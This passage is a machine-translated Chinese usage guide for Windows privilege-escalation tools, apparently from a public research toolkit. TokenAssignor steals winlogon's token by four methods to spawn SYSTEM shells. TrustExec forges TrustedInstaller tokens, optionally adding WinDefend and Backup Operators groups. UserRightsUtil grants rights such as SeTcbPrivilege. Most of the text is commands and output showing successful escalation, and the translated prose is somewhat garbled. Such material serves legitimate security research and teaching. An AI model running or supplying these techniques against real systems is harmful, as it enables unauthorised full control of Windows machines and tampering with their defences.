CONSOLE LOGON Mandatory, EnabledByDefault, Enabled
NT AUTHORITYAuthenticated Users Mandatory, EnabledByDefault, Enabled
NT AUTHORITYThis Organization Mandatory, EnabledByDefault, Enabled
NT SERVICEDiagTrack EnabledByDefault, Enabled, Owner
NT AUTHORITYLogonSessionId_0_180260 Mandatory, EnabledByDefault, Enabled, Owner, LogonId
LOCAL Mandatory, EnabledByDefault, Enabled
BUILTINAdministrators EnabledByDefault, Enabled, Owner
DACL INFORMATION
----------------
Account Name Access Flags Type
==================== =========== ===== =============
NT AUTHORITYSYSTEM GenericAll None AccessAllowed
OWNER RIGHTS ReadControl None AccessAllowed
NT SERVICEDiagTrack GenericAll None AccessAllowed
SECURITY ATTRIBUTES INFORMATION
-------------------------------
[*] TSA://ProcUnique
Flags : NonInheritable, Unique
Type : UInt64
Value[0x00] : 0x0000000000000047
Value[0x01] : 0x000000000002C0FA
[*] Done.
回到顶部
项目
该工具是学习如何分配主要令牌：
PS C:Dev> .TokenAssignor.exe
TokenAssignor - Tool to execute token assigned process.
Usage: TokenAssignor.exe [Options]
-h, --help : Displays this help message.
-c, --command : Specifies a command to execute. Default is cmd.exe.
-m, --method : Specifies a method ID (0 - 3).
-p, --pid : Specifies a source PID for token stealing.
[!] -m option is required.
该工具试图从指定的过程中窃取令牌并执行令牌分配的过程。大多数方法都需要管理特权。要使用CreateProcessAsUser API执行令牌分配的过程，请将-m选项设置为0 ：
PS C:Dev> Get-Process winlogon
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
270 13 2452 10108 0.33 688 1 winlogon
PS C:Dev> whoami /user
USER INFORMATION
----------------
User Name SID
==================== =============================================
desktop-5ohmobjuser S-1-5-21-1955100404-698441589-1496171011-1001
PS C:Dev> .TokenAssignor.exe -p 688 -m 0
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Got a primary token from PID 688 (Handle = 0x68).
[+] Got a impersonation token from winlogon.exe (Handle = 0x2E0).
[+] Impersonation as winlogon.exe is successful.
[+] "C:Windowssystem32cmd.exe" is executed successfully (PID = 9552).
[*] User of the created process is NT AUTHORITYSYSTEM (SID: S-1-5-18).
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.
C:Dev>whoami /user
USER INFORMATION
----------------
User Name SID
=================== ========
nt authoritysystem S-1-5-18
当将-m选项设置为1 ，此工具将尝试创建悬浮过程，并将主令牌更新为被盗的令牌。由于内核限制，此方法不能用于更改会话ID。内核强制令牌的会话ID与_EPROCESS的会话ID匹配：
PS C:Dev> whoami /user
USER INFORMATION
----------------
User Name SID
==================== =============================================
desktop-5ohmobjuser S-1-5-21-1955100404-698441589-1496171011-1001
PS C:Dev> .TokenAssignor.exe -p 688 -m 1
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Got a primary token from PID 688 (Handle = 0x2C8).
[+] Got a impersonation token from winlogon.exe (Handle = 0x2D8).
[+] Impersonation as winlogon.exe is successful.
[+] Suspended "C:Windowssystem32cmd.exe" is executed successfully (PID = 9968).
[*] Current user of the suspended process is DESKTOP-5OHMOBJuser (SID: S-1-5-21-1955100404-698441589-1496171011-1001)
[+] Primary token for the suspended process is updated successfully.
[*] Current user of the suspended process is NT AUTHORITYSYSTEM (SID: S-1-5-18)
[*] Resuming the suspended process.
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.
C:Dev>whoami /user
USER INFORMATION
----------------
User Name SID
=================== ========
nt authoritysystem S-1-5-18
如果设置-m选项设置为2 ，则使用辅助登录服务创建一个新的令牌分配的过程：
PS C:Dev> whoami /user
USER INFORMATION
----------------
User Name SID
==================== =============================================
desktop-5ohmobjuser S-1-5-21-1955100404-698441589-1496171011-1001
PS C:Dev> .TokenAssignor.exe -p 688 -m 2
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Got a primary token from PID 688 (Handle = 0x2C4).
[+] "C:Windowssystem32cmd.exe" is executed successfully (PID = 5832).
[*] User of the created process is NT AUTHORITYSYSTEM (SID: S-1-5-18).
PS C:Dev>
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.
C:Dev>whoami /user
USER INFORMATION
----------------
User Name SID
=================== ========
nt authoritysystem S-1-5-18
如果设置-m选项设置为3 ，则使用PPID欺骗方法创建一个新的令牌分配过程：
PS C:Dev> whoami /user
USER INFORMATION
----------------
User Name SID
==================== =============================================
desktop-5ohmobjuser S-1-5-21-1955100404-698441589-1496171011-1001
PS C:Dev> .TokenAssignor.exe -p 688 -m 3
[+] SeDebugPrivilege is enabled successfully.
[+] Got a handle from PID 688 (Handle = 0x2C4).
[+] Thread attribute is built successfully.
[+] "C:Windowssystem32cmd.exe" is executed successfully (PID = 4852).
[*] User of the created process is NT AUTHORITYSYSTEM (SID: S-1-5-18).
PS C:Dev>
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.
C:Dev>whoami /user
USER INFORMATION
----------------
User Name SID
=================== ========
nt authoritysystem S-1-5-18
回到顶部
项目
此工具是作为NT SERVICETrustedInstaller组帐户执行过程。原始POC是Grzegorz Tworek的TrustedInstallerCmd2.c。我将其移植到C＃并将其作为工具进行了重建。大多数行动都需要行政特权（ SeDebugPrivilege ， SeImpersonatePrivilege和高强度级别）：
PS C:Dev> .TrustExec.exe
TrustExec - Tool to create TrustedInstaller process.
Usage: TrustExec.exe [Options]
-h, --help : Displays this help message.
-l, --lookup : Flag to lookup account name or SID.
-n, --new-console : Flag to create new console. Use with -x flag.
-x, --exec : Flag to execute command.
-a, --account : Specifies account name to lookup.
-c, --command : Specifies command to execute. Default is cmd.exe.
-e, --extra : Specifies command to execute. Default is cmd.exe.
-m, --method : Specifies method ID. Default is 0 (NtCreateToken method).
-s, --sid : Specifies SID to lookup.
Available Method IDs:
+ 0 - Leverages NtCreateToken syscall.
+ 1 - Leverages virtual logon.
+ 2 - Leverages service logon.
+ 3 - Leverages S4U logon.
+ 4 - Leverages TrustedInstaller service.
对于此模块，插入了2种技术。我们可以指定具有-m选项的方法。 -m选项的值可以是0到4整数。例如，如果将-m选项设置为0 ，则此工具尝试使用NtCreateToken获得TrustedInstaller令牌：
PS C:Dev> .TrustExec.exe -m 0 -x -c powershell
[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0xE8).
[+] Got a token assigned process (PID: 2832).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:Dev> whoami /user
USER INFORMATION
----------------
User Name SID
=================== ========
nt authoritysystem S-1-5-18
PS C:Dev> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeCreateTokenPrivilege Create a token object Enabled
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeSyncAgentPrivilege Synchronize directory service data Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Enabled
SeRelabelPrivilege Modify an object label Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
PS C:Dev> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITYSERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
NT AUTHORITYAuthenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
BUILTINAdministrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
BUILTINUsers Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT SERVICETrustedInstaller Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 Enabled by default, Enabled group, Group owner
Mandatory LabelSystem Mandatory Level Label S-1-16-16384
如果要使用新控制台创建进程，请设置-n标志如下：
PS C:Dev> .TrustExec.exe -m 1 -x -c powershell -n
[*] Virtual logon method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] SeTcbPrivilege is enabled successfully for current thread.
[+] A virtual domain VirtualDomain is created successfully (SID: S-1-5-110).
[+] A virtual account VirtualDomainVirtualAdmin is created successfully (SID: S-1-5-110-500).
[+] Got a virtual logon token (Handle = 0xEC).
[+] Got a token assigned process (PID: 23836).
[+] VirtualDomain domain is removed successfully.
除了TrustedInstaller服务方法以外的每种方法（ -m选项ID是4 ）接受具有-e选项的额外组SID。 -e选项的值格式必须是SDDL SID字符串。对于SID字符串分离器，您可以使用逗号如下：
PS C:Dev> .TrustExec.exe -m 0 -x -c powershell -e S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736,S-1-5-32-551
[*] NtCreateToken syscall method is selected.
[+] SeDebugPrivilege is enabled successfully.
[+] SeImpersonatePrivilege is enabled successfully.
[+] Impersonation as smss.exe is successful.
[+] SeAssignPrimaryTokenPrivilege is enabled successfully for current thread.
[+] SeCreateTokenPrivilege is enabled successfully for current thread.
[+] SeImpersonatePrivilege is enabled successfully for current thread.
[+] Got a TrustedInstaller token (Handle = 0x30C).
[+] Got a token assigned process (PID: 17500).
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:Dev> whoami /user
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITYSERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
NT AUTHORITYAuthenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
BUILTINBackup Operators Alias S-1-5-32-551 Enabled by default, Enabled group
BUILTINAdministrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
BUILTINUsers Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT SERVICETrustedInstaller Well-known group S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464 Enabled by default, Enabled group, Group owner
Mandatory LabelSystem Mandatory Level Label S-1-16-16384
NT SERVICEWinDefend Well-known group S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 Enabled by default, Enabled group
要解决帐户SID，设置-l标志和-a选项，带有帐户名称如下：
PS C:Dev> .TrustExec.exe -l -a "nt servicewindefend"
[*] Account Name : NT SERVICEWinDefend
[*] Account SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736
[*] Account Type : WellKnownGroup
PS C:Dev> .TrustExec.exe -l -a users
[*] Account Name : BUILTINUsers
[*] Account SID : S-1-5-32-545
[*] Account Type : Alias
回到顶部
项目
该工具是在没有secpol.msc的情况下管理用户。除lookup以外的命令需要管理员特权：
C:dev>UserRightsUtil.exe
UserRightsUtil - User rights management utility.
Usage: UserRightsUtil.exe [Options]
-h, --help : Displays this help message.
-m, --module : Specifies module name.
Available Modules:
+ enum - Enumerate user rights for specific account.
+ find - Find accounts have a specific user right.
+ lookup - Lookup account's SID.
+ manage - Grant or revoke user rights.
[*] To see help for each modules, specify "-m <Module> -h" as arguments.
[!] -m option is required.
要列举特定帐户的用户权利， enum使用-u和d Opitons或-s选项如下：
C:dev>UserRightsUtil.exe -m enum -d contoso -u jeff
[>] Trying to enumerate user rights.
|-> Username : CONTOSOjeff
|-> SID : S-1-5-21-3654360273-254804765-2004310818-1105
[+] Got 7 user right(s).
|-> SeChangeNotifyPrivilege
|-> SeIncreaseWorkingSetPrivilege
|-> SeShutdownPrivilege
|-> SeUndockPrivilege
|-> SeTimeZonePrivilege
|-> SeInteractiveLogonRight
|-> SeNetworkLogonRight
[*] Done.
C:dev>UserRightsUtil.exe -m enum -s S-1-5-21-3654360273-254804765-2004310818-1105
[>] Trying to enumerate user rights.
|-> Username : CONTOSOjeff
|-> SID : S-1-5-21-3654360273-254804765-2004310818-1105
[+] Got 7 user right(s).
|-> SeChangeNotifyPrivilege
|-> SeIncreaseWorkingSetPrivilege
|-> SeShutdownPrivilege
|-> SeUndockPrivilege
|-> SeTimeZonePrivilege
|-> SeInteractiveLogonRight
|-> SeNetworkLogonRight
[*] Done.
如果您没有使用-d选项指定域名，请使用本地计算机名称作为域名：
C:dev>hostname
CL01
C:dev>UserRightsUtil.exe -m enum -u guest
[>] Trying to enumerate user rights.
|-> Username : CL01Guest
|-> SID : S-1-5-21-2659926013-4203293582-4033841475-501
[+] Got 3 user right(s).
|-> SeInteractiveLogonRight
|-> SeDenyInteractiveLogonRight
|-> SeDenyNetworkLogonRight
[*] Done.
此命令是找到具有特定权利的用户。例如，如果您想查找用户具有SeDebugPrivilege ，请执行如下：
C:dev>UserRightsUtil.exe -m find -r debug
[>] Trying to find users with SeDebugPrivilege.
[+] Found 1 user(s).
|-> BUILTINAdministrators (SID : S-1-5-32-544, Type : SidTypeAlias)
[*] Done.
要列出-r选项的可用值，请使用-l选项：
C:dev>UserRightsUtil.exe -m find -l
Available values for --right option:
+ TrustedCredManAccess : Specfies SeTrustedCredManAccessPrivilege.
+ NetworkLogon : Specfies SeNetworkLogonRight.
+ Tcb : Specfies SeTcbPrivilege.
+ MachineAccount : Specfies SeMachineAccountPrivilege.
+ IncreaseQuota : Specfies SeIncreaseQuotaPrivilege.
+ InteractiveLogon : Specfies SeInteractiveLogonRight.
+ RemoteInteractiveLogon : Specfies SeRemoteInteractiveLogonRight.
+ Backup : Specfies SeBackupPrivilege.
--snip--
此命令是查找帐户SID如下：
C:dev>UserRightsUtil.exe -m lookup -d contoso -u david
[*] Result:
|-> Account Name : CONTOSOdavid
|-> SID : S-1-5-21-3654360273-254804765-2004310818-1104
|-> Account Type : SidTypeUser
C:dev>UserRightsUtil.exe -m lookup -s S-1-5-21-3654360273-254804765-2004310818-500
[*] Result:
|-> Account Name : CONTOSOAdministrator
|-> SID : S-1-5-21-3654360273-254804765-2004310818-500
|-> Account Type : SidTypeUser
C:dev>UserRightsUtil.exe -m lookup -d contoso -u "domain admins"
[*] Result:
|-> Account Name : CONTOSODomain Admins
|-> SID : S-1-5-21-3654360273-254804765-2004310818-512
|-> Account Type : SidTypeGroup
如果您没有使用-d选项指定域名，请使用本地计算机名称作为域名：
C:dev>hostname
CL01
C:dev>UserRightsUtil.exe -m lookup -u admin
[*] Result:
|-> Account Name : CL01admin
|-> SID : S-1-5-21-2659926013-4203293582-4033841475-500
|-> Account Type : SidTypeUser
此命令是授予或撤销特定用户帐户的用户权利。要授予用户权利，请指定用户权利作为-g选项的值：
C:dev>UserRightsUtil.exe -m find -r tcb
[>] Trying to find users with SeTcbPrivilege.
[-] No users.
[*] Done.
C:dev>UserRightsUtil.exe -m manage -g tcb -d contoso -u administrator
[>] Target account information:
|-> Username : CONTOSOAdministrator
|-> SID : S-1-5-21-3654360273-254804765-2004310818-500
[>] Trying to grant SeTcbPrivilege.
[+] SeTcbPrivilege is granted successfully.
C:dev>UserRightsUtil.exe -m find -r tcb
[>] Trying to find users with SeTcbPrivilege.
[+] Found 1 user(s).
|-> CONTOSOAdministrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser)
[*] Done.
要撤销用户，请将用户权利指定为-r选项的值：
C:dev>UserRightsUtil.exe -m find -r tcb
[>] Trying to find users with SeTcbPrivilege.
[+] Found 1 user(s).
|-> CONTOSOAdministrator (SID : S-1-5-21-3654360273-254804765-2004310818-500, Type : SidTypeUser)
[*] Done.
C:dev>UserRightsUtil.exe -m manage -r tcb -d contoso -u administrator
[>] Target account information:
|-> Username : CONTOSOAdministrator
|-> SID : S-1-5-21-3654360273-254804765-2004310818-500
[>] Trying to revoke SeTcbPrivilege
[+] SeTcbPrivilege is revoked successfully.
C:de>UserRightsUtil.exe -m find -r tcb
[>] Trying to find users with SeTcbPrivilege.
[-] No users.
[*] Done.
要列出-g或-r选项的可用值，请使用-l选项：
C:dev>UserRightsUtil.exe -m manage -l
Available values for --grant and --revoke options:
+ TrustedCredManAccess : Specfies SeTrustedCredManAccessPrivilege.
+ NetworkLogon : Specfies SeNetworkLogonRight.
+ Tcb : Specfies SeTcbPrivilege.
+ MachineAccount : Specfies SeMachineAccountPrivilege.
+ IncreaseQuota : Specfies SeIncreaseQuotaPrivilege.
+ InteractiveLogon : Specfies SeInteractiveLogonRight.
+ RemoteInteractiveLogon : Specfies SeRemoteInteractiveLogonRight.
+ Backup : Specfies SeBackupPrivilege.
--snip--
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回到顶部
感谢您对WINDBG扩展程序编程的建议：
感谢您的显着研究：
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